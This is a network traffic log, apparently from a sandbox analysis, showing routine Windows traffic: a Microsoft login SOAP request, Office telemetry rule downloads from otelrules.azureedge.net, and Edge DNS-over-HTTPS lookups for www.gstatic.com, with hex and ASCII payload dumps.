2024-11-22 22:06:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49758	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:28 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-22 22:06:28 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:06:29 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 22:05:29 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 6e6c5e1e-bb95-4668-91f8-ed276463a574 PPServer: PPV: 30 H: SN1PEPF00040150 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:06:28 GMT Connection: close Content-Length: 1276
2024-11-22 22:06:29 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:30 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 44207c53-001e-0079-37ad-3b12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220630Z-15b8b599d88hr8sfhC1TEBbca400000001tg00000000pt7h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:30 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220630Z-174c587ffdftv9hphC1TEBm29w00000001z000000000b3ua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:30 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:30 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220630Z-178bfbc474bfw4gbhC1NYCunf400000003pg00000000105g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:30 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:30 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:30 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220630Z-174c587ffdfgcs66hC1TEB69cs00000001xg000000008s4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:30 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 44e9982d-301e-001f-6639-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220630Z-15b8b599d88wk8w4hC1TEB14b8000000025g0000000017v8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49805	172.64.41.3	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 22:06:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 22:06:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 22:06:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6c3a24ddd143a4-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 22:06:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e6 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49793	172.64.41.3	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 22:06:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 22:06:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 22:06:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6c3a24d8a543b7-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 22:06:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 8c 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49806	172.64.41.3	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 22:06:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 22:06:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 22:06:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6c3a252ab77d11-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 22:06:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2a 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom*()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49792	172.64.41.3	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 22:06:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 22:06:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 22:06:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6c3a253994c431-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 22:06:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49800	172.64.41.3	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 22:06:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
